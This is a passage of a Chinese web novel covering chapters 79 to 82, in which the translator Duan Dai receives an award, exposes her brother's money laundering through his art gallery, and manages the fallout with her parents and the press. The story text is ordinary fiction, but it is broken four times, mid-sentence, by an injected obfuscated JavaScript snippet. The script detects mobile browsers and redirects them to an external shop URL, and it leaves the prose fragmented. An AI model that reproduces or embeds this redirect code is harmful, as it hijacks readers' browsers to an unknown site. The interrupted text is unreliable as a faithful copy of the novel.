“我同事问我,段黛的房子是不是我设计的,”黎尚轩聊起工作上的事时忍不住笑,“我说对啊,羡慕了吗?” 段黛莞尔:“连你同事都知道了啊。” “不止呢,”黎尚轩正色道,“本身来找我的客户都是偏文学创作领域的,现在多多少少都听说我为翻译家段黛设计过新家了,所以也有不少人慕名而来。我的收入也因此水涨船高,这都得感谢你呀。” 段黛夹起一块排骨:“主要是你的设计好,我也只是陪衬罢了。” 这块排骨外面裹了一层咸蛋黄沙,外皮咸香酥脆,里面软嫩多汁,吃起来倒是别有一番口感。她忍不住赞叹:“以前只吃过咸蛋黄鸡翅,现在居然还有咸蛋黄排骨了,味道好像更好了。” 黎尚轩面色微红:“之前咱们吃饭的时候,听你说鸡翅吃腻了,但是很喜欢咸蛋黄的外皮……所以我试了一下,做了咸蛋黄排骨,看来效果不错。” 段黛颇有些意外。她上次也是随口一提,虽说总是动不动炸鸡的有些腻了,但实际上就算继续吃鸡翅也没什么。 莫名觉得……有点高兴。 “对了,这次领奖需要出国吗?” 段黛摇了摇头:“亚洲地区的奖项,颁奖地点在商申市,用不着出国。” “那还好哎,至少不用那么麻烦了。” 段黛颔首:“是啊,坐高铁就行,并且待个两三天就回来了。” 黎尚轩举起杯子:“还是要恭喜你,以后你获得的奖项一定会越来越多的。” 段黛端起杯子,两支玻璃杯相碰发出清脆的声响。她道:“借你吉言。” 几天之后,段黛收拾行李坐上了前往商申市的高铁。颁奖方为获奖者提前订好了酒店,段黛于是毫无负担地享受着一切都能被报销的快乐。她办理好了入住,把空调打开,坐在沙发上看外卖点什么。 就在这时,鹿颖给她发了消息。 鹿颖:【段墨跟我表白了。】 段黛:【哦?我记得他确实是喜欢你来着。】 鹿颖:【??我重生这么多次了都不知道有这回事!】 段黛:【怎么,以前他都没开过口?】 鹿颖:【主要是以前我都没太注意他。】 鹿颖:【哎,我直接给你看聊天记录吧。】 说着鹿颖分享了她和段墨的一段聊天记录。 段墨:【段黛获的那个奖,好像还挺厉害的。】 鹿颖:【那肯定厉害啊,这可是亚洲地区的奖项,每年只颁给五个人呢!】 鹿颖:【上次咱们国家有人获这个奖,还是因为在山区开办女校呢。】 段墨:【……看来你和黛黛的关系还挺好的。】 鹿颖:【那当然啦,谁都别想耽误我抱富婆的大腿。】 段墨:【所以你是因为段黛有钱才……】 鹿颖:【?你这话真奇怪。】 段墨:【其实我现在比段黛有钱的多。】 鹿颖:【?】 段墨:【我月收入在百万左右,段黛的收入绝对没有我高。】 段墨:【其实我喜欢你很久了。】 段墨:【你要不要考虑,和我在一起?】 看到这段黛大吃一惊。段墨回国之后确实发达了,但是她没想到他的收入竟然夸张到这个程度。那种不祥的预感在她的心中逐渐具象化,她怀疑段墨是干了什么不太好的事情。 后面就是鹿颖拒绝,段墨原地破防的事情了。鹿颖发消息对段黛道:【我还没到为了钱就和人谈恋爱的程度呢,好怪啊,段墨以前是这种人吗?】 段黛打字发给她:【我感觉不太对劲,还是别和段墨扯上关系了。】 鹿颖:【我觉得也是。】 第二天,亚洲地区女性力量奖的颁奖典礼正式开始。典礼全程直播,各个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14014769|139721||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 国家都能在自家常用的网站上看到直播入口。 获奖的五人之中只有段黛一个是中国人,其他人有的是面颊黝黑的劳动妇女,有的是穿着精致的精英人士,有身价过亿的企业家,也有光鲜亮丽的明星。所有人无论高矮胖瘦无论年老年少,无一不是在平凡事迹中做出过伟大贡献的。 颁奖仪式并没有要求她们的穿着,所以段黛也没去订制什么很花哨的晚礼服。她穿了一条暗红色的旗袍,头发用发簪利落地挽起,既具有中式特色,又简洁干练。其他人也并未穿多么夸张的礼服,只穿了比较得体的衣服。 段黛用英文简单和几人交流了一下,对于英文不流利的人微笑致意,接着便坐在位置上静静等待着。 主持颁奖典礼用的是中文,场外有一位英文同声翻译,同时各个国家的直播口旁也有自己国家的同声翻译跟进。典礼一开场是一些讲话的内容,无非是介绍这个奖项设立的背景与初衷。一个小时过去后,颁奖正式开始。 第一个上台的是一位东南亚地区的农村妇女。她所居住的地方毗邻电信诈骗据点和红灯区,她带领自己收养的女婴帮助被关在据点里的外国人传信,成功捣毁了犯罪据点,让无数被诱拐至此的外国人得以回家,也让红灯区处于水深火热的女性终于能摆脱被奴役和虐待的命运。 大屏幕上讲述着她的生平事迹,弹幕一条接着一条弹出。 ——这位是真的富有国际人道主义精神。 ——之前报道的那个捣毁了一个什么窝点,带了一群中国人回家,就是这位女士的功劳。 ——要不是有她在,不知道多少人回来的时候都会被摘成空壳了。 ——这位女士没结婚没生孩子,她身边的十多个女儿都是收养的。他们那个地方根本不把女儿当人看,有的不想养生出来就直接扔了。她救下了不少被遗弃的女婴。 ——天呐…… 这位东南亚妇女穿着一身干净的西装,走到台上,拘谨地用母语说着自己的获奖感言。随后她举起透明的奖杯,在雷鸣般的掌声中走下舞台。 接下来是名扬全球后设立了各种奖学金和慈善基金只为让本国女童得到更好的教育的女明星,还有致力于研发更科学合理的生理期产品与妇科检查器具的女科学家。 ——姐姐好美! ——不能只用美来夸姐姐,要看到她的力量! ——她们国家的情况还挺恶劣的,她能走出来真的很不容易。 ——而且还会回头拉更多水深火热的女孩子一把…… ——我知道这个教授!比鸭嘴钳更合理的检查器具就是她发明的! ——发明出来一直得不到推广,唉…… ——没办法啊,医疗器具想要迭代不是随口说说就能完成的,得无数人一起努力才行…… 她们或光彩照人,或神情肃穆,在舞台上都用母语表达了自己领奖时激动的心情,然后在弹幕与掌声中离开舞台。 “接下来,让我们有请来自中国的获奖者——翻译家段黛!” 79. 愿你摆脱麻木 大屏幕上播放着段黛在澳洲采访的视频,又播放了世界各地阅读到由凤姿龙章公司输出的网文数据。 “……当我们的合法权益受到侵害时,我们都知道应该报警。可是世界上还有无数人,因为‘被人知道了我还怎么做人’这种想法而忍气吞声,拒不承认自己是受害者……” “……自阿黛尔遗作的信息公开以来,各国报案相关案件的数量翻了数倍。不是迫害的事件变多了,而是大家敢于张口了……” “让女性摆脱被物化的命运,成为一个独立自主的人的第一步,就是不再麻木。” “而段黛,就是那个让无数女性摆脱麻木的人。” ——妈耶…… ——之前我还没觉得段黛大帝做的事有多伟大,现在才发现……天呐。 ——成为人的第一步是摆脱麻木,有点想哭。 ——阿伦公司说了,当时所有人都在讨论阿黛尔的遗作该怎么处理,只有段黛要求调查真相找证据。 ——大家都在考虑名誉、考虑销量、考虑商业价值……只有段黛考虑阿黛尔说出这些是需要多大的勇气。 ——难怪阿黛尔点名要段黛做翻译。 ——阿黛尔的遗言救了她自己,救了遗作,也救了大量还在麻木中的女性啊。 段黛踏上红毯,四面全是亮闪闪的灯光,直播的镜头一路追随。她的脸上挂着恬淡的笑容,一步一步走向领奖台。 ——哇哦,大帝穿了旗袍! ——大帝果然是文化自信大使,这旗袍一穿,这一看就知道是中国人! 段黛走上前去,接过麦克风,面对着台下无数闪光灯,眼睛一眨不眨:“大家好,我是段黛。” “能得到这个奖,我非常惊讶。其实我对女性主义这个词并没有多么了解,也自认为我并不算是什么女性主义者。我所做的一切,只是出于本能的想法罢了。” “我不希望有人被污名化,不想看到有人的期待被辜负,更不想看到有人因为一些莫须有的缘由而替凶手掩藏自己是受害者的证据。” “希望所有人都能坦然的面对自己,不要因为性别而生出这样或那样的偏见,也不要因为性别而给自己带上没有必要的枷锁。” “我希望所有人都能自由而全面的发展,都能像人一样好好活着,仅此而已。” ——靠,不知道怎么回事,她明明穿的是旗袍不是龙袍,但我感受到了帝王之气。 ——段黛大帝的眼神!这是睥睨众生的眼神! ——以前听段黛说英语感觉可苏可苏了,没想到说中文更有气势啊! ——莫名有种下一秒她就会宣扬社会|主义和共|产主义的感觉…… ——自由而全面的发展。让人能像人一样活着。这句话意味深长啊…… 黎尚轩用投影仪播放着颁奖典礼,他开了录屏,重点录制段黛领奖的这一段内容。 鹿颖拿着手机看着直播,匆匆忙忙给段黛截了几个屏发朋友圈:“段黛大帝牛逼!” 临译社的众人正在加班,关月兰打开了直播,一边看一边感慨段黛的成长。不知不觉间不少编辑都围了过来,在段黛举起奖杯的瞬间一起发出欢呼。 关月兰没想到身边会聚集这么多人,一时间被震的耳朵有些疼:“我靠你们别对着我耳朵喊!” 陈方烨刷到了鹿颖的朋友圈,忍不住也点进了直播入口。刚进来他就看到段黛那被弹幕评价为睥睨众生的眼神,但不知为何,陈方烨觉得段黛的目光仿佛穿透了屏幕,像是在看垃圾一样看着他。 他一边感觉心里毛毛的,一边又忍不住继续看下去,自虐一般目睹着段黛的高光时刻。 邓辞倒是没去看直播,可是各个平台都在推段黛领奖的消息,让他就算不看直播也不得不了解全程。看着热搜上的段黛,邓辞的眼神愈发幽暗,无形的黑影笼罩住他的心头。 他忍不住发问:她凭什么过的这么好? 段墨坐在给父母买的新家里,用电视看着颁奖典礼。段光耀走到电视前,看着段黛举着奖杯的画面愣了一下:“这是……你妹妹?” 段墨点了点头:“是段黛。” 段光耀转头看着电视,听到中文之后还跟着有点听不真切的英文:“这是什么奖啊?” “亚洲地区女性力量奖。” 赵玉兰走了出来:“段黛怎么了?” 她扭头看着电视,有些诧异:“哎呀……” 段光耀:“我说怎么还听着有英语呢,原来不是国内的奖啊。” 段墨深吸一口气:“嗯,颁奖典礼全球直播,所以有英文同声翻译。” 夫妻二人沉默着看了一会儿颁奖典礼,直到段黛走下舞台。半晌,段光耀轻轻“呵”了一声:“算了,这个不孝女自己爱过什么样就什么样,她还说咱们儿子是废物呢。现在咱们儿子有出息了,她也别想过来占便宜。” “就是,咱们现在买个别墅也就是洒洒水的事,”赵玉兰站起身来,“她趁早和咱们断绝关系也好。” 段墨始终没有说话。 他关掉了电视,赵玉兰问:“不看了?我看后面还有一个人呢……” 段墨摇了摇头:“没必要了。” 段黛已经过去了,剩下的人看不看都不重要了。 就在他放下遥控器时,搁在茶几上的手机忽然亮了起来。 【段墨,税务局的人要查ink美术馆了,你知道吗?】 段墨眼神一厉:【什么?】 【你快收拾一下准备准备,说不定什么时候就……】 领奖结束后,段黛又在商申市呆了两天,主要是为了配合颁奖方的采访。在即将启程回临安的前一天,段黛收到了鹿颖的消息。 鹿颖:【我感觉段墨这几天不太对劲,你回来的时候小心一点。】 段黛:【怎么了,发生什么事了吗?】 鹿颖:【昨天他突然说要我的银行卡号好给我转钱,我感觉很奇怪就拒绝了……而且今天有同事告诉我,ink美术馆好像关门了。】 段黛莫名有种“果然如此”的感觉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14023982|139721||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。她道:【我知道了,你也注意别和他有什么金钱交易。】 回到临安后,黎尚轩来高铁站接她。这边黎尚轩刚把她的行李箱放上车,段黛就收到了关月兰的消息。 关月兰:【你这两天一定注意安全!你爸妈跑来出版社说要找你!】 段黛愣了一下:【我爸妈跑来出版社了?】 关月兰:【是啊,他们先是问我们知不知道你住在哪,打听不出来就开始哭了,说什么要你救救你哥哥之类的……】 段黛:【给你们添麻烦了。】 关月兰:【别担心,保安把人送出去了,没影响办公。】 段黛松了口气:【那就好。】 黎尚轩开着车,见段黛神色凝重,关切道:“是发生了什么事吗?” 段黛叹了口气:“我哥好像出事了。本来我爸妈都和我断绝关系了,现在突然又来找我了。” 黎尚轩的神色紧张了起来:“那怎么办,你会不会被影响啊?” 段黛沉默片刻,道:“没事,他们奈何不了我什么的。” 黎尚轩:“如果需要帮忙一定找我,千万别自己憋着。” 段黛笑了笑:“放心。” 回家之后,段黛换了身衣服,手机接到了一个陌生号码的电话。她滑了接听,竟然是赵玉兰借了别人的手机打来的。 自从过年他们撕破脸之后,段黛就把这对便宜父母给拉黑了,也难怪他们要找别人的手机来发消息。 赵玉兰的语气中满是惊慌失措:“黛黛,你哥哥被警察带走了!你得救救你哥哥啊!” 段黛有些好笑:“警察可不会无缘无故抓人,他干什么了?” “他能干什么啊,一定是有人眼红你哥哥发财了,故意举报他……” 段黛:“他要是没做什么见不得人的事那也不用担心,警察调查清楚了就会把人放出来的。” “都什么时候了你还在这说风凉话……” 段黛的太阳穴突突地跳着:“所以他到底干了什么?” “……” 赵玉兰就是不说段墨到底做了什么,只是期期艾艾地要她一定要救救他。段黛不喜欢和说不明白话的人浪费时间,直接挂断了电话。 手机这时震动了一下,是裴斯羽发来的消息:【段黛,你要小心你父母。】 段黛:【我知道。反正他们不知道我住在哪,应该没什么。】 裴斯羽:【你别想的太简单了。你现在算个公众人物,要是他们闹起来说段黛的亲哥进了监狱段黛不孝敬父母,那对你的影响可就大了。】 段黛的后背沁出一片冷汗。裴斯羽一直在新媒体行业工作,对网络的敏感度自然更加发达。若不是她的提醒,段黛根本想不到这一点。 裴斯羽:【你要做好他们闹起来的准备,千万别留什么把柄在他们手里。】 段黛:【我知道了,多谢你。】 赵玉兰的电话在这个时候又打了过来,段黛这次滑了接听键后没再跟他们废话,直接道:“你们在哪?” 80. 要么行动,要么闭嘴 段光耀和赵玉兰两人虽然被推出了临译社,但依然赖在写字楼下面没走。段黛叫他们去旁边一家有包间的餐厅等着,几分钟后她到了这里。 她本来是想开车来的,想了想一方面临译社离家很近步行就能到,另一方面被父母知道了车牌号还指不定有什么麻烦。于是她最终选择走路过来和他们做交涉。 段黛推开门,段光耀和赵玉兰两人立刻站了起来:“黛黛!” 将近一年没见女儿,段光耀开口并不是关心,而是:“你一定要救救你哥哥!” 段黛把包间门拉上,在椅子前坐下:“别急,既然是餐厅,先点些菜吧。” 她不紧不慢地扫了桌子上的点餐码,选了几个菜之后还问他们吃什么。段光耀和赵玉兰脑子里想的全是段墨的事情,根本没有心思看她点菜。段黛也无所谓,下了单之后把手机放在了桌子上:“给我说实话,段墨到底是怎么回事?” “……” 赵玉兰小声道:“你哥一定是被同行嫉妒了……” 段黛的手指敲了敲桌面:“你们要是总说这些废话,咱们就不用聊了。” 沉默半晌,还是段光耀开了口:“其实我们也不知道段墨到底是怎么回事……” 段黛:“那就把你们知道的说一说。” 按照段光耀的叙述,段墨突然说自己得到了日本某位知名画家的赏识,于是决定出国学习。等再回国时他就突然“发达”了。他说自己如今功成名就,一幅画能够卖出上千万的价格。 段墨回国后再没向家里要钱,他办画展、开美术馆的资金都没问老两口要。 “我们问他定这么高的价格真的会有人买吗,段墨说那些大老板想要提升公司的逼格就会订购一些艺术品放在办公室里,有时候举办一些活动也需要用艺术品来布置场地,大老板不缺钱,几千万对于他们来说就是洒洒水……” 段黛思索片刻后道:“段墨完成一幅画需要多久?” “不到半天吧,他一天可以完成两到三幅作品……” 赵玉兰补了一句:“这是大型作品,小号作品一天完成十多个也是很正常的。” 段黛抱着手臂:“那么理论上段墨一天就可以收入三四千万呢。” “倒也没有那么多,”段光耀挠了挠头,“他说开美术馆的场地也需要不少钱,还要沟通送货的货车、员工的工资……这些都是很大一笔支出。” 段黛想起来鹿颖发给她的聊天记录。 段墨说,自己的月收入超过百万。 但是这样算下来,就算其他成本昂贵,段墨一天的收入就应该在千万级别,怎么会一个月才只是超过百万? 段黛垂眸思索片刻,忽然笑了。段光耀抬起头来:“你笑什么?” 段黛掀起眼皮瞥了他一眼:“我听说,美术馆是洗|钱的一个好地方。” “……” 段光耀一脸难以置信:“你说什么?” 恰好这时门被打开,服务生将段黛之前点的菜端了进来。有外人在,段光耀和赵玉兰不得不住了嘴,等着服务生上完菜后离开包间。 听到门关上后,段黛开口道:“买画走公司的账,买完之后段墨再把钱私下转给买主,这样就把公司的收入洗成了自己的……当然这只是我了解的一种做法。据说还可以通过倒卖艺术品把非法收入洗成合法的呢,这我就不知道段墨到底干没干了。” 夫妻两人大骇:“这怎么可能……” 段黛幽幽道:“段墨赚的也不是什么卖画的钱,而是帮助洗|钱的辛苦费。所以他明明有那么多千万价格的作品,月收入才只是百万级别。就他开的那个屁大点的美术馆,一个月用得着耗上几千万的成本?” 两人还想反驳,说自己儿子不是那样的人。但段黛可不给他们幻想的机会,继续道:“现在他又被警察带走了,你猜猜他到底敢不敢这么做?” 两人哑口无言。 段黛呼出一口气,拆开筷子夹了一块孜然肉片吃。把食物咽下去之后,她抱着手臂向后靠在椅背上:“这种情况你们让我怎么帮他?这可不是打架斗殴之类的能花点钱把人带出来的事。我也只是个翻译,不是什么大资本家,这种程度的事不是我能插手的。” 赵玉兰急了:“那怎么办?要是真坐牢了,你哥哥这辈子就毁了啊!” 段黛:“段墨的客户应该比较擅长处理这类问题。你们看看能不能联系上他以前交易过的对象吧,说不定他们有人能想到办法呢?” 夫妻两人恍然大悟,立刻起身离开,急吼吼地要去给段墨找门路了。 房间里重新归于安静,只能听到空调送风的声音。 桌子上孤零零地摆着三盘菜。 段黛盯着这三盘菜许久。最终她叫来了服务生:“把这三盘菜打包吧。” 多好的菜啊,不吃可惜了。 段黛再次回家之后,鹿颖发了消息来:【怎么样啊黛黛,知道段墨是发生了什么事吗?】 段黛:【隐约知道了,估计不是什么好事。】 鹿颖:【唉……我有点事想跟你说。】 段黛:【有事直接说。】 鹿颖:【但是太长了,咱们能打电话吗?】 段黛不太喜欢打电话,她更愿意通过文字交流。然而鹿颖已经把语音通话申请打过来了,段黛只得点了接通。 “黛黛,你觉得咱们现在的世界有世界意识吗?” 段黛以为鹿颖是要说什么关于段墨的事呢,没想到居然是这个。她有些无语:“……不知道。” 鹿颖的语气很是激动:“你也觉得有是不是?” 段黛觉得她在说废话:“我没感觉到有,但是你既然反复重生了……那可能是有的吧。” “……也是。” 鹿颖又道:“你是穿书的对吧,那你有没有想过再回到现实世界去?” 段黛:“……你找到离开这个世界的办法了?” 鹿颖一下被噎住了:“呃……什么?” 段黛握着手机:“你知道这是一本书,然后呢?你想到我们应该怎样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14033039|139721||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 离开现在这个世界,去往现实了吗?” 鹿颖没想到段黛会这么说:“我确实不知道该怎么办,但是……但是……我一想到自己生活了这么多年的世界都是假的,我就觉得很荒谬,很苦恼……我们现在做的这一切到底有什么意义?活着到底有什么用?” 段黛坐在沙发上:“当然,我原先所处的未必就是现实世界,或许我原来的世界都是虚无,只是为了穿越来此做的准备呢?” “我想说的是,如果你有解决的办法,那就去做,不管是杀死世界意识,还是寻找真正的现实世界都可以。如果没有办法想要探索办法,那我也不会说什么。但是如果你完全没有办法,也并不打算探索,那你还是装傻比较好。” “……装傻?” “抱怨解决不了任何问题,发现自己是蝼蚁却无能为力比无知无觉更加痛苦。如果你没有解决问题的办法,试想你还能怎么办呢?除了内耗之外没有改变任何东西。” 要么行动,要么闭嘴。所以段黛在穿书之后没有任何要抱怨的打算,而是迅速适应自己身为虐文女主的“现实”。 既然留在书里的现实无法改变,那就尽可能让生活舒适一些。 鹿颖还是不死心:“但是如果……如果有机会的话……如果你可以离开这里,回到现实世界呢?” 段黛:“那等这个机会来了再考虑。” “……啊?” 段黛叹了口气:“鹿颖,这个世界没有如果,只有已经发生的现实。你现在说这些,就像在畅想买彩票中了一个亿之后应该怎样花一样。” “……” 鹿颖沉默了。 她沉默了很久,久到段黛想要挂电话时才再次出声:“段黛,你说我们活着到底有什么意思?” 段黛很讨厌这种虚无缥缈的问题:“我们活着是因为我们还没死。” “那这个世界为什么会存在?” “不知道,要不你打电话问问吧。” 面对段黛敷衍的回答,鹿颖反而“噗嗤”一声笑了:“你还真是务实啊。” 段黛一脸无所谓:“思考这些对我来说没有任何意义。” 鹿颖:“所以你觉得是我想太多了?” 段黛:“这个世界上有无数难民吃不上饭,有无数女性遭遇性暴力,有阶级霸凌,还有污染和气象问题……世界上的问题已经很多了,请问你都思考吗?” 鹿颖:“……” 段黛:“思考这些问题是为了解决它们,并且讨论的最认真的那帮人其实是在上手努力改善的。其他人张着嘴巴说话虽然很烦,但多少也有督促的作用。而你现在考虑的问题,是为了寻找解决办法,还是只是想要抱怨?” 段黛:“你想试试自己有没有继续被束缚,我可以推荐你去Season,试探剧情到底有没有被突破。但是你说现在这一切都没有意义,我们活着都是笑话……抱歉,我不喜欢听抱怨。” 又是一阵良久的沉默。 终于,鹿颖轻声道:“我知道了。” 81. 眼看他楼塌了 段光耀和赵玉兰两个人忙前忙后,试图找到能把段墨捞出来的人。然而段黛会那么说只是想把锅甩出去而已,他们俩当然是不可能找到什么门路的。 更何况,段墨能被拔出来,就证明他的那些客户已经翻车了。就算真的有哪个“大老板”愿意捞段墨一把,怕是也只能在牢里团结友爱了。 段黛第二天去了警局,大致了解了一下段墨的情况。事实也确实如她猜测的那样,段墨洗|钱是板上钉钉的事,但ink美术馆似乎还有其他更见不得人的交易,大约是涉黑涉毒的。 “我能见他一面吗?” 经过层层申请审批,段黛见到了拘留中的段墨。此刻的段墨双手被手铐拷住,脸上写满了颓丧。 段黛看着他:“你都干了什么?” 段墨苦笑一声:“我没想到这么快就被发现了……” 段黛嗤笑一声:“你真是好本事。能走通这层路也需要不少门道呢,还真不是我能帮上忙的。” 段墨掀起眼皮瞥了她一眼:“现在你得意了吧?我也就比你风光了不到半年,马上就被打回原形了。” 段黛蹙眉:“你一天到晚说什么艺术梦想的……我以为你最多就是白日做梦了一点。现在你用你珍爱的艺术去做这种事情,你觉得你对得起自己的梦想吗?” 段墨愣了一会儿,竟是笑了:“你现在居然跟我说梦想……我后来才发现你说的很对,梦想不能当饭吃。” 他抬起头来,可惜他现在看不到天空,只能看到灰蒙蒙的天花板:“那我就谈谈梦想吧。” “我不是为了钱。好吧也确实有钱的因素在。我想,通过这些想洗|钱的上层人把我的名声炒起来,把我的作品价格打上来……时间一长,不知道的人就真的以为我的画是需要上千万才能买到的,这样假的也变成真的了……到那个时候我就金盆洗手,不帮他们洗|钱了……” “我真的不是想要通过这个来获利的,我的每一幅作品都是认真画的……虽然他们分给我几万几十万的辛苦费,但是我把这些当成我的作品的报酬,我在努力地让自己的作品配得上这个价格……” 说着说着段墨一脸迷茫:“为什么还没等我实现梦想,就被抓了呢……他们只要晚一年,甚至半年,我就知足了,我就不会再继续了……” 没救了。 段黛轻轻摇了摇头。 段墨是真的……没救了。 他口口声声说都是为了梦想,于是在过去心安理得地无视段黛和父母对他的付出。而段黛不再为他付出后,他选择了无视道德和法律。 什么梦想,只是自私到无法无天罢了。 离开警局后段黛给裴斯羽发了消息,说明了一下自己现在的情况。尽管段黛一早就与这个哥哥做了切割,但到底是有血缘关系的,他的事情于自己而言绝对是一桩丑闻。谣言通常是很难得到澄清的,段黛并不想一遍一遍地在大众面前说明自己和段墨之间的事情。 她要在危机发生之前,咨询专业人士,把段墨对自己的影响降到最低。 裴斯羽:【知道你哥这事的人多吗?】 段黛:【好像不算多。】 裴斯羽:【这里面有看你不顺眼,可能会打击报复你的人吗?】 段黛:【……不好说。】 真的不好说。 首先段光耀和赵玉兰这两人她就信不过。段黛并不想赌一个人的良知,她不惮以最大的恶意揣测所有人。 其次就是陈方烨、邓辞这些明显已经被她列入无需社交而直接翻脸的人。虽然现在他们可能还不知道段墨的事情,但是毕竟段墨和他们也有交往,发现估计也是迟早的事。 光脚的不怕穿鞋的,现在段黛可以说是什么都有了,而他们,尤其是邓辞可谓是什么都没有了。如果他们真的拼了命也要把段黛拉下神坛,那段黛也是要元气大伤的。 裴斯羽:【现在对你来说有两个方案。第一个就是把这件事捂死了,让你爸妈还有其他人都闭上嘴别到处乱说什么“段黛的哥哥”坐牢了。】 段黛:【这个方案有点麻烦。第二个呢?】 裴斯羽:【你主动去说,告诉大家你的父母是什么样的,你的哥哥是什么样的。这样将来就算有人心怀不轨把段墨的事爆出来,大家也只会觉得是他们活该。】 裴斯羽:【谣言会传播是因为大家不知道真相。如果真相先谣言一步触达大众,那么谣言自然也传播不起来。】 段黛:【这个方法倒是不错。那我应该怎么先开口呢?总不能是自己发V博讲述原生家庭吧。】 裴斯羽:【近期如果你有什么采访的话,提前和对方通好气,让她问一下你的家庭情况,你就顺势讲出来好了。】 裴斯羽:【我有同学在主流新闻媒体做记者,我帮你介绍一下吧,正好她年底要采访一些知名人物。】 段黛呼出一口气:【好。】 几天后,段黛奔赴帝都,参加一期采访。黎尚轩送她去了机场,在路上他道:“现在情况怎么样?” 段黛笑了笑:“一切都在掌控之中。” 段黛会这么说,那应该就是没什么问题了。黎尚轩点了点头,不再多话。他不会自作聪明地打着为她好的旗号去替她做事,他知道段黛足够强大,可以解决身边的所有问题。 黎尚轩能做的,就是别影响到她,拖她的后腿。 段黛端坐在沙发前,对面是面容姣好的女记者——裴斯羽曾经的同学。 记者就段黛的翻译工作提问了一些问题,接着又了解了一些有关女性力量奖的事情。无关紧要的问题之后,记者慢慢切入话题:“很多读者说,段黛老师之前的翻译风格生动但不严谨,但是从《小姐曾说》这部作品开始,您的译文忽然就变得成熟老辣了起来。特别是后来的《经录》,细节非常到位。请问您为什么忽然就有如此 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14043334|139721||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 成长呢?” 段黛微微一笑:“在翻译《小姐曾说》的时候,我的身上发生了一些事情。我突然发现自己一直在为一些不值得的人耗费精力,而忽视了对自己本职工作的打磨。” 女记者言辞犀利:“莫非是,摆脱了一段失败的恋情?” 段黛笑着点了点头:“也有这方面的因素吧。我过去有些讨好型人格,对身边的很多人,当然也包括恋人,有时会无底线地牺牲自己去迁就他们。后来经过了一件事情,我突然看清了他们。就好像脑子里的水突然倒空了,我头一次能够冷静的审视身边的人,分辨出到底哪些人是值得深交的,哪些人是见不得我好的。” 女记者道:“网上一直都有关于‘段黛大帝’的事迹。除了这些流传较广的事件之外,还有一个小道消息,据说您曾英勇反击了一位试图侵犯您的流氓,并且那件事似乎也是在您翻译《小姐曾说》期间发生的。请问您的转变和这件事有什么关联吗?” 段黛简单说了一下当时自己被男友与哥哥同时放鸽子的事情,当然她隐去了其中鹿颖的存在。最后她道:“从那一天起,我忽然意识到,其实我活在这世上不能指望任何人的照顾,一切最终还是要靠我自己。” 非常完美的柔弱女孩在经历了一个命运转折点之后觉醒成为独立清醒女强人的故事。 女记者适当地发出感慨与赞叹,接着就哥哥的问题继续深挖:“您刚刚讲了哥哥和您不和的事情……请问您的父母在其中充当了什么角色呢?” 段黛微微垂下眼眸,在镜头前流出几分恰到好处的悲伤。片刻后她抬起头来,露出了一个故作坚强的苦笑:“我的父母……他们应该还是爱我的。” 女记者配合地追问:“为什么说是‘应该’呢?” 段黛:“不知道你听没听说过这样一种说法。把钱都留给儿子,把爱都留给女儿。” 她看着记者,神色坦然:“我就是那个,得到了爱的女儿。” “……” 接下来的叙述顺理成章。被优秀的妹妹长期压一头的兄长认为妹妹的付出只是假好心,父母扭曲的教育理念让他们重视哪个孩子就打压哪个孩子,导致他们真正喜欢的儿子更加崩溃。后来又闹出了给儿子买房让女儿还房贷的奇葩操作…… 女记者一阵唏嘘,随后道:“段黛老师终于从虚假的亲情中清醒了过来,所以笔下的译文才更加深沉老练吗?” 段黛颔首:“我发现父母的意图后不知道该怎么面对,于是直接出国去了伦敦。一方面是要实地考察搜集资料,另一方面也是想要给自己一个缓冲的时间,让自己重新思考和父母之间的关系。” “……” 女记者恰到好处的问题设置,引导着段黛展开了对原生家庭的叙述。 女记者希望能抢到段黛的独家采访,段黛希望借此解除身上的隐患。 两人在裴斯羽的帮助下,实现了双赢。 82. 势均力敌的才是仇人 ——我的天呐,第一次看到大帝露出这种很苦涩的表情…… ——虽然很多人的原生家庭都存在各种各样的问题,但是像段黛这样鼓起勇气切割的人真的很少。 ——段黛老师也很仁慈了,只说自己不会再期待什么了,该承担的养老义务还是会按照法律承担。 